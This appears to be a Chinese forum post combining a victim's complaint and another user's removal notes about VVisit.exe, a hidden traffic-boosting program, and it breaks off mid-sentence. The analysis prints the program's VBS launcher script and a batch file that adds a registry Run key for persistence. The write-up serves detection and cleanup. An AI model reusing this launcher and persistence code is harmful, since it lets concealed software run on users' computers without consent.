VVISIT.EXE狂刷我流量,流氓进程,谁能教我解决它该死的沙丁鱼流氓软件~~~是个vvisit流量互访的什么东东,任务管理器中会出现vvisit.exe这个进程,然后看接受字节和发送字节~~接受的字节大概是发送字节的十几倍~~~貌似是通过自动访问它的地址来进行刷流量~~~我每月10G流量的包月~~用了不到3天~~~一直没发现~~后来发现了这个以前没见过的进程~~这个东西杀毒软件杀不出~删不掉~删了重启后又自动恢复啦。。在我的这个C:\Windows\System32\Temp6\VVT路径下胡作非为~~同样还有进程firefox.exe,privoxy.exe等~~~不知道又人中过这个没,有些电脑可能会出现内存特别卡,看看你们的任务管理器中是否也存在这个东西~~~如果有人中过处理掉啦~请把技术传授一下,我每次只能一开机就关进程来避免它刷我流量~~可怜的我,自己流量被刷光啦。。寝室同学的也被我全搞掉啦~~有人说VVisit是360的升级程序,其实不是,我看到那图标就写着西安智鑫软件,网上目前貌似还没办法解决~~好想是今年8月份开始有人发现这东西,因为关于这个的帖子都是最新的~~~前几天不小心中沙丁鱼了,折腾了好久才清理掉,发点心得...前几天我在网上下软件,其中某个软件里有一个VVisit程序,不知道是做什么用的,就试着运行了一下,发现几乎没反映,然后就把这个文件删掉了,到昨晚查进程,发现不对劲了,如图:大家可以看到,有两个firefox.exe进程和一个VVisit.exe进程,而且除了其中一个firefox.exe进程是管理员运行外,其它两个进程都是SYSTEM(系统)运行的,然后我在这里用115.com搜索了一下VVisit.exe,结果如下:---本文来源于网络,仅供参考,勿照抄,如有侵权请联系删除---看到这个结果我相信大家都知道这软件不是什么好鸟了,现在我们来看看沙丁鱼到底是什么软件,或者说他是用来做什么的:---本文来源于网络,仅供参考,勿照抄,如有侵权请联系删除---沙丁鱼软件,是一个名为西安智鑫软件开发公司出品的一款刷网站流量的软件,看他的介绍有一个下线机制就知道肯定不是什么好软件,估计有不少人使用非法手段在他人电脑上安装这个软件,比如打包进其它的软件,网友不小心点到了就运行了,这个软件的特点是隐蔽性做得很高,很难找到,即使把文件删除了也没用,还有一个就是这个软件基本上没有破坏性,所以杀毒软件也把它放过了,我用NOD322.7(病毒库最新)查了一下没反映的...找到症结所在,现在就开始找方法清理,以下两个方法是在网上搜到的:病毒发作分析:这个程序会在C:\ProgramFiles\InternetExplorer下建立sdy.vbs脚本,文件内容如下:onerrorresumenextsetws=createobject("wscript.shell")ws.run"c:\Progra~1\Intern~1\UPDATES\VVisit.exe",0ws.run"c:\Progra~1\Intern~1\UPDATES\vvt.bat",0这个脚本的作用,如果你是用IE就会中招,使用IE内核的不要紧。并且新建立UPDATES文件,树形结构如下├─MUI│└─0409├─SIGNUP└─UPDATES└─browser├─appdata│├─bookmarkbackups│├─Cache│├─extensions││└─vvisit@www.*****.cn---本文来源于网络,仅供参考,勿照抄,如有侵权请联系删除---││└─content│└─OfflineCache├─chrome├─components├─defaults│├─autoconfig│├─pref│└─profile│└─chrome├─dictionaries├─extensions│└─{972ce4c6-7e08-4474-a285-3208198ce6fd}├─greprefs├─modules├─pxy├─res│├─dtd│├─entityTables│├─fonts│└─html├─searchplugins└─updates└─0其中vvisit.exe是今天的主角,他是沙丁鱼啥啥联盟的一个刷流量软件,冷博客以前也用过,效果不是很好,不知道制作这个东东的仁兄是为了赚积分还是给自己刷站。看淘宝这么多卖积分的,估计是前者的可能性比较大。这里还有一个文件是vvt.bat,这个批处理文件内容如下:@echooffechoWindowsRegistryEditorVersion5.00>vvt.regecho.echo[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run]>>vvt.regecho"VVisit"="C:\\ProgramFiles\\InternetExplorer\\UPDATES\\VVisit.exe">>vvt.regregedit/svvt.reg&delvvt.reg意思是加入了开机自启动项,这个批...